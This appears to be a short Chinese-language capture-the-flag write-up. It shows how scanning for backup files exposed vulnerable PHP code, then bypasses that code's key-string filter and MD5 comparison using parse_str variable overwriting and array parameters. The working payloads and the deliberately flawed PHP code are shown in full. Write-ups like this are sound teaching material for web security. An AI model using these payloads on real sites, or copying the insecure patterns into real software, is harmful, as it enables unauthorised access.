这道题本身不是多难,但还是想写篇文章记录一下
首先我是用dirsearch扫了一下敏感文件
然后访问了index.php.bak得到代码
提示:index.php.bak最上头说明是用phpstrom写的
phpstrom的项目会自动添加文件夹.idea,里面的文件可能会造成信息泄露
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//得到我们传递进去的参数
$str = substr($str,1);//截取字符串(去掉了?)
$str = str_replace('key','',$str);//替换字符串
parse_str($str);//如果未设置array参数,则可以覆盖同名变量
echo md5($key1);
echo md5($key2);
//要求$key1和$key2的md5一样,值不一样
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
第一步:绕过字符串替换
kekeyy1=111&kekeyy2=222
替换后变为
key1=111&key2=222
第二步:绕过MD5的判断
MD5碰撞过题:
不同的内容经过MD5后是一样的,这种现象叫碰撞。
通过碰撞是可以过这个题的,不过我没有尝试。
MD5绕过:
MD5不会处理数组
//payload
kekeyy1[]=1&kekeyy2[]=2